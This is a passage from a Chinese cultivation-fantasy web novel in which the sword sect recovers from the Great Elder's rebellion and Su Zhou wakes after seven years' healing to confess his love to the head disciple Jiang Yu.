正沉思时,她旁边宿舟忽然身形一晃,倒了下来。 “宿行云?!” “徒弟?” “快,救救他——” …… 剑宗大长老之乱,在众人齐心协力之下,总算是被成功化解,这一战,二长老、四峰主受伤严重,性命垂危,不得不闭关修养,除此之外,三峰主和五峰主等人也受伤不轻,但总归没有酿成不可挽回的大祸。 剑宗七条灵脉,被魔气污染了一条,预计起码要数百年的时间来净化修复,另有三条化为了灵盾,阻挡住了剑尊的惊世一爆,保住了剑宗几千人的性命。 这样一来,灵脉只剩下了三条,剑宗灵气变得稀薄了不少。灵脉是宗门实力的象征,小宗门至多一条或没有,拥有五条以上才可称大宗门。 如今灵脉损了四条,剑宗弟子们听了除魔事迹,不仅无人离宗,人心竟然凝聚到了前所未有的地步,都愿与剑宗共存亡,三长老也宣布了计划,由长老们出门寻找无主灵脉,再移植过来,虽然花费的时日难料,但七条灵脉总归会有恢复之日。 而后复盘整件事,长老们都认为,姜鱼和宿舟在其中发挥了最重要的作用,如果不是姜鱼识破大长老阴谋,如果不是宿舟在关键时刻救了姜鱼,如今的剑宗、如今的天下,恐怕都将面临一场空前灾祸。 “多亏了小鱼啊……” “三长老,有女如此,该当自豪啊。” “剑宗后继有人,吾等甚为欣慰。” 面对姜怀城,长老们纷纷感慨,连二长老也一改以往态度,“小鱼行事作风,有创宗祖师之风,我想,我也该多变通一些了。” 天骄榜上,濛濛白光亮起。 这一年的天骄试炼,也终于有了结果,新的天骄名单公布,有三人新上榜:姜鱼、宿舟、芸晚。 这结果芸晚自己都有些意外,李师姐死后,原本是两个名额,为何会多出她一个?仔细一看,天骄榜第三的屠石师兄竟然被除名了。 据说大长老动乱期间,他带着几个弟子竟然想偷偷离宗,被管事长老发现,如今,这几人都被逐为外门弟子了。 听说屠石被除名之后,心态大崩,连掉了三个境界,如今在外门,连一般的外门弟子都打不过了,名声更如过街老鼠一般,人人喊打,日子过得相当不如意。 “好啊。” 姜鱼听到这话,只想当场鼓掌,屠石坑她那些事,她还记得呢,这下场也算是他自找的。 “小鱼,那宿师弟呢?”芸晚小心问。 自从那天后,她就没听过宿舟的消息,虽然天骄榜上有他的名字,但他一直没露面,据说和大长老一战中,他受了重伤,还在休养,这不禁令芸晚担心。 “他啊……”姜鱼双手支着下巴,“他睡了。” “睡了?” 芸晚道,“是为了恢复伤势而沉睡吗?要睡多久?” 姜鱼掰着指头数了数,“六、七年吧。” 芸晚惊讶:“这么久?” 姜鱼:“可不是吗?宿行云这个混蛋……” 芸晚:…… 她怎么从这咬牙切齿的语气中,听出一丝甜蜜呢? “不过……”姜鱼绕着头发丝,“这次他可以完全恢复,所以我原谅他了。”《 》 (正文完) 第58章 时间流逝, 七年过去。 “你们新入门的弟子,暂时住在一峰上。” “师姐,那边就是天剑主峰吗?” “对。” “听说天骄们都住在主峰上, 要是我能成为天骄,该多威风啊。”一个弟子畅想着,周围弟子顿时哄笑。 “别笑,有志向是好的。”引路师姐道, “不过要当上天骄可不容易, 你们还差得远呢。” “师姐, 如今的天骄之首, 是谁呀?” “是——” 师姐刚要开口, 忽然听到一阵清悦铃铛声。 随着铃铛轻响,迎面走来一个年轻姑娘,浅色罗衣碧绿留仙裙, 裙摆层层叠叠, 如绽开的莲叶。 她腰间挂着一把银白长剑,剑上铃铛声轻响, 容貌长得极为好看,尤其是眼睛很亮,杏目星眸,叫人一见难忘。 那师姐一见她, 立刻微退一步, 躬身道, “见过首席。” 新弟子们张大了嘴, 这、这就是剑宗天骄首席弟子吗?竟然看起来这么年轻,看起来亲切,气场却很足。 那姑娘笑着冲他们点点头便走了, 等她走远了,弟子们才松口气,还有些没回神,“那就是首席师姐?” “首席真气派啊,师姐看起来虽然亲切,又有威严,我要成为师姐的迷妹了!” “师姐带的那把剑,看起来就很不一般。” “听说昔年大长老作乱,姜师姐立下大功,成为众弟子表率”引路师姐心怀向往,说道,“说起来,她和天骄榜第二的那位师兄,还有一段故事。” “什么故事?快说给我们听听吧!” 一说起八卦,弟子们顿时来了兴趣,缠着她想打听,师姐笑了笑,“日后你们自己慢慢了解吧,首席师姐的事,我可不能乱说。” 姜鱼路过第一峰去往二峰,是去看望于照的。 当年为了搜集魔念,大长老陆续让她身边的人魔化,而于师兄不是收集魔念的一环,估计只是为了给他们路上制造困难,被牵连的,属实是有些倒霉了。 原本他对芸芜的愧疚,并不至于让他入魔,更多是大长老催化了魔念,才会行为失常,那时她想出阻止魔化的办法,抑制了于照魔化,但那个方法并不完善,可以说只是一个萌芽的念头。 这七年时间,经过医修们的反复研究,他们研究出了把魔种冰封的办法,将已催化的魔种冰封在丹田中,估计十年二十年左右的时间,可以让魔种彻底枯萎。 如今是于照体内的魔种冰封第七年,因为这些年情况稳定,他被获准出宗一次,这一趟出门,他去看望了芸芜,刚刚回来。 姜鱼接到消息,就来看他了。 走到于师兄院子,就听到两人谈话声,于照道:“我去看了芸芜,她已经不记得我了。” 另一人声音温柔清淡,正是芸晚的声音。 “你为何要去打扰她?” “我只是在远处看了看,并未打扰。” “那你怎么知道她不记得你了?” “是她那位夫君提起,‘你还记得当年那仙人吗?’” 那时于照站在山头,听着夫妇二人谈话,他离得很远,并未让两人看见他,凭着修为却能听到两人说话声。 那男子打趣道,“当年你还说‘仙人会来接你’,叫我离你远点呢。” 芸芜用拐杖打了老伴一下,“多少年的老黄历了,你还提,什么仙人后人,我连他长什么样都忘记了。” 老伴笑呵呵的,“阿芜,你说做仙人好,还是做凡人好?” 芸芜想了想,“谁知道呢?我妹妹去修仙,十年也难见一面,她觉得自己过得好,我觉得我这辈子也还不错,少羡慕别人,过好自己的日子,就够了。” “夫人说的是。” 夫妻两都已过了甲子之年,满头白发,相携着从山道走回家,影子迎着夕阳拉得很长,那画面宁静祥和。 于照彻底释然了,不管是对芸芜,还是面前的芸晚,他不再想着补偿什么,挽回什么,人家的人生过得刚刚好,他做什么都是多余。 芸晚喝了一杯茶,“师兄这茶,今日味道最好。” “是吗?” “清淡不涩,已得茶之真谛。” 她起身告辞,姜鱼也悄然起来,这么看来,师兄和芸师姐的心结彻底解开了,真好。 另一边的四峰之上,同样有人在喝茶。 四峰主端着茶杯,眺望远处,叹气,“她们还要喝多久?” 身旁小童不解,“峰主,那两位喝她们的酒,与咱们何干呢?” 四峰主:“她们喝酒就喝酒,为何要到我峰上来喝?一会儿打起来,我该帮谁?” 童子想了想,“峰主,别忘了,您还在养病呢。” “哦,对。” 四峰主那年和大长老一战中伤重,至今还在休养,想起自己是个病号,瞬间底气足了,“扶我去休息,一会儿她们要是打起来,就说我病中好静,让她们换个地方打。” “是,峰主。” 夕阳为峰顶铺上一层金光,西江月和隋鹭对坐着,从早到晚,已喝了五坛酒了。 “最后一杯。”隋鹭道。 “你为何要找我喝酒?” “小鱼不来看我,我无聊。” 西江月眼皮微抬,很看不惯她这没个正形的样子,“你就不能自己找点事做?” “我有事做啊,养鸡、养猪、养鱼,我忙着呢。” “……” “倒是你,你徒弟都躺了七年了,你不无聊?” 提起这话,西江月脸色微沉,当年她接受不了宿舟和姜鱼在一起,可大长老一战时,宿舟竟然豁出性命,帮她挡剑,那一刻她说不感动是假的。起码徒弟没白教,她勉强接受了他和姜鱼的事,顺带看隋鹭稍微顺眼了那么一点点。 听她提这事,她有些不快,当初那么多人一起对付剑尊,怎么就她徒弟那么倒霉?这一躺就是七年。 “说起来,他也该醒了吧?” “就这两天吧。” “那就好。”隋鹭道,“到了这个年纪,见后辈们好好的,不比什么都好?来,干一杯。” 西江月被她这话说动,举起酒杯。 “那咱们当年的事,也翻篇了呗。” “休想。” “你讲不讲理?” “不讲。” “嘿,你这人——这把年纪了,还这么气量,小心有碍寿数。” “放心,我绝不在你前面咽气。” “这可不好说。” “以后每年来此喝酒。”西江月道,“谁先来不了,算谁输,如何?” “就这么说定了。” 夕阳落下,春风送晚,姜鱼回到家里,娘正在帮爹抬胳膊,她爹唉哟出声,还说,“高一点、再高一点。” 姜鱼默默从旁边经过。 姜爹一脸尴尬,连忙把手放了下来,自从和大长老一战后,他这胳膊留下了些许旧伤,一抬高就痛,医修建议他在家自己多动,慢慢就好了。 算不上什么大毛病,不过他总是趁着姜鱼不在家的时候练,以免损伤了自己做爹的面子,今日没想到女儿这个时候回来,叫她撞见了,好不尴尬。 “小鱼啊……” “干嘛?” 姜鱼坐下喝茶,姜怀城和白荔交换眼色,问,“听说宿舟这几天要醒了。” 她喝茶的动作一顿,含糊说:“是啊。” “那你怎么想的?” “什么意思?” “等他醒了,你们是不是打算办道侣仪式了?” “咳咳——” 他的话题太跳跃,姜鱼一口茶水呛到,白荔狠狠踩了姜爹一脚,“别听你爹瞎说,他就是老了爱八卦。” 姜怀城:? 他是这样的人吗? 然而夫人开口,他不敢反驳。 白荔道,“你爹就是想问,你们两现在是什么情况?” 姜鱼默默喝了口茶水,“就是……就是那样呗。” 埋下头时,耳根一片绯红。 姜家夫妻对视一眼,这些年宿舟沉睡,姜鱼一开始一天三次的去看他,直到最近这两年,才改成两天去一次了,小儿女间这点心思,还不叫他们这些老家伙看得清清楚楚?问她也是想知道,她的想法有没有变化。 这么看来,女儿是挺长情的。 而宿舟能把剑骨给女儿,证明是个值得托付的,他们夫妻自然没意见,就是老头一下想得有点远了。 “我出去了。” 受不了这气氛,她站起身要走,姜怀城道,“这么晚了,你去哪?” 白荔:“又去看他?” 姜鱼:“不是,去看师姐。” 夜幕降临,灵寂峰上一片安静,春夜暖,萤火虫在草丛间飞来飞去。 姜鱼带着师姐最爱的柿饼去看她,这些年来,李休音的墓有她经常打理,整洁如新,周围长出了一圈小雏菊,开着白色小花,随风轻轻摇曳,像在欢迎她到来。 姜鱼摆上贡品,坐在师姐墓碑旁,跟她说着心事,过一会儿,她说,“师姐,宿舟要醒了。” “他醒了是好事,但我心里有些没底……” “现在大家都觉得我们应该在一起了,其实他还没跟我表白呢。” 夜风寂寂,小草摇曳着,似乎在回答她的问题。 “师姐也觉得这样不好?” “都是他的问题。” “他怎么能一睡这么久?叫我……”叫她怪寂寞的。 当年一战之后,宿舟忽然昏迷,医修看过之后,说是他透支过度,身体虚弱才会晕过去。 后来详细诊治,才发现他剑骨失去大半,她说出详情之后,众长老颇为唏嘘,他此举是为了救姜鱼,但最终也救了宗门。 长老们商量之后,决定将宗门至宝寒尺灵玉拿出来,此物乃天地灵宝,世间难求,天骄之争时也只准备拿出指甲盖大小的一块做奖励,现在却把它全部给了宿舟,此物可助他重新生长剑骨,也幸亏他本身剑骨还剩了一点,才能在此基础上恢复,不然神仙来了也没办法。只是费时日久,这一治就是七年。 期间他一直睡着,姜鱼每次去看他,都没见他醒过。 直到最近,医修告诉她,宿舟的剑骨恢复完好,寒尺玉也吸收得差不多了,估计这几日就要醒了,她忽然发现自己没做好心理准备。 宿舟醒来,会是怎么样呢?他会不会忘了自己?会不会改变想法?当初把她看得比命还重要,如今却觉得没什么了? 姜鱼没想到,自己也会有患得患失的这天。 正郁闷时,忽然感觉头上被拍了一下,她猛然抬头,“师姐?” 一片叶子从头顶滑落。 原来是树叶…… 她默默将这片梧桐叶收好,说不定这就是师姐在跟她打招呼,“师姐,我知道了,你是说,如果改变想法,那也是宿舟的问题,总之都怪他就对了。” 她站起身,挥挥手,“师姐,我走了。” 萤火虫飞舞,小草小花摇摆,似乎在送她离开。 翌日,姜鱼虽然心里怀着忐忑,还是早早到了五峰,冰窖之内,宿舟静静躺在寒玉床上。 他这一趟七年,时间仿佛在他身上凝固了,他还是那副少年模样,眉峰如剑,睫毛浓密,鼻梁高挺,唇色淡淡,像尊漂亮的玉像。 姜鱼等了一会儿,不见他有什么动静,忍不住伸手描他的眉,“宿行云,你要是敢忘了我,我就……” 眉毛的触感茸茸的,她走神想着,就怎么样呢?没注意身旁人手指轻轻动了动。 “我就把你打一顿,打到想起我为止。” “还有——” “还有什么?” “喂你吃蚯蚓——” 话说到这,她忽然一顿,刚才谁在跟她说话?!低头一看,正看到浓睫颤动,那双墨眸睁开,宿舟含笑看着她,“我不爱吃蚯蚓。” “宿行云!” 她喊了一声,先是惊喜涌上心头,又忍不住打量他,“你还记得我吗?” “小鱼。” 熟悉的声音喊出这称呼,令她心头轻轻一颤。 “那你还知道,我们之间发生过什么吗?” “记得。” “真的……” 话未说完,忽然感觉指尖被触碰,低头一看,宿舟把那枚蓝色的小鱼戒指,缓缓套在了她手上。 她不由一愣。 “这戒指怎么在?” “昏睡之前,我一直带着它,就像你还在我身边。” 温柔的话语,令姜鱼鼻头一酸,差点掉下眼泪来,然后,她就被人轻轻拥在怀里。 从冰床上醒来,宿舟身上是冷的,说话时热气喷在耳边,却很温暖,“小鱼,我从来没忘记你。” “那以后呢?”她埋在少年肩头,声音模糊。 “以后也不会。” “宿行云,你是大坏蛋。” “嗯。” “你为什么不能早点醒过来?” “我在梦里见你。” “梦里的我,有我好吗?” “不及你万一,所以我醒了。” “哼。” “那勉强原谅你了。” 轻柔的吻落在颊边,吻去酸涩的泪,他低声说,“好,谢谢小鱼。” …… “说什么谢谢,不会说点别的嘛!”回到家里,姜鱼转动着手中的小鱼戒指,忍不住吐槽。 他前面说的有模有样的,关键时刻又不会说话了,她想听的是谢谢? 可当时留给他们说话的时间也不多,宿舟刚醒来,身体还虚弱。医修、五峰主、五峰长老一堆人等着看他,她也不好一直霸占着人,就回来了。 回来越想越是郁闷,他就不能说点别的? 叮咚—— 【宿舟醒来,你与他的关系进展,你选择——A向他告白/B等他告白】 嗯? 【系统??】 【你还活着?还以为你死了。】 【……】 【说句话呗。】 【说什么?】 系统竟然吱声了,但听起来模糊,有点信号不好的样子,【说什么都行啊,你是哪来的?为什么忽然又发任务了?之前你去哪了?】 【……】 【表白任务完成后,你就知道了。】 表白。 表个锤子白。 姜鱼盯着那两个选项,估计可能躺进棺材那天,她也等不到宿舟跟她表白了,之前有那么多次机会,他都没正式表白过一次呢。 她悻悻然选了B,心里的拧劲上来了,她就要看看,她要等到什么时候。 接下系统任务后,无聊的等到了晚上,眼看夜色渐沉,一整天也没人来家里拜访,她打开小本本,默默划下一道竖线。 “宿行云,我看你让我等到什么时候。” 笃笃。 窗户被人从外面敲响。 她愣了一下,起身打开纱窗,春风拂面,虫鸣入耳,却没看见人。 然而接着隔壁书房的灯烛,她看到了映在窗上的影子,那人抱着剑,削瘦身影倚靠墙壁,侧脸映在了窗上。 “你来干嘛?”她没好气的说。 “来看看你。” “白天不是看过了?” 她正要将窗户关上,宿舟绕到窗子,和她面对面,“小鱼,我喜欢你。” 姜鱼关窗的动作一顿,他、他刚才说什么? “其实早就想说了。”宿舟认真看着她,“医修让我多休息,我还是想见你,就过来了,一见你,就忍不住说出口——” 话未说完,姜鱼隔着窗子,在他颊边轻吻了一下。 他一下卡壳,脸渐渐红透了。 意识到自己做了什么,姜鱼也烧红了脸,往窗后一躲,不就是表个白吗,她怎么激动成这样,真没出息! 然而她没想到,才刚跟系统打赌,说宿舟不会表白,他竟然这么快就跑来表白了,怎么这时候又突然开窍了? “小、小鱼……” “你等等。” 姜鱼从窗户爬出来,拉着他跑到不远处的榕树旁,和他一起爬上了树,“在这聊。” 宿舟一愣:“为什么?” 姜鱼:“万一爹娘进我房间,看见你了多尴尬。” 宿舟:…… 他的心现在还在怦怦跳,完全没想到这点。 两人在树上挨着坐着,吹着春日的晚风,不一会儿,肩靠上肩,手也牵到了一起。亲昵的聊了一会儿,姜鱼忽然开始畅想未来。 “宿行云,你以后打算做什么?” “我想,报答师尊的恩情,帮她找到修补剑的材料。” “之后呢?” “练剑。” “练好剑之后呢?” “仗剑天下,惩妖除魔,保护百姓。” “哦。” “你呢?”宿舟问。 “我想……成仙。” “为何?” “成仙有意思呀,我想去天上看看。”她说,“不过这样,我们不是没办法在一起了?” “不会。” “怎么说?” “我们先仗剑天下,然后我和你一起成仙。” “你想得美。” …… 春蝉声声,将两人的谈话声渐渐遮掩。 姜怀城站在书房窗边,渐渐露出笑容。 白荔端着茶进来,忍不住问,“怀城,你笑什么?” “没,没什么。” “有两只蝉一直在窗外吵,我听他们说什么。” “蝉?” 她走过去,看到远处树上相依相傍的身影,不由一惊。 “嘘——” “夫人,别惊扰了这春夜。” (正文完)《 》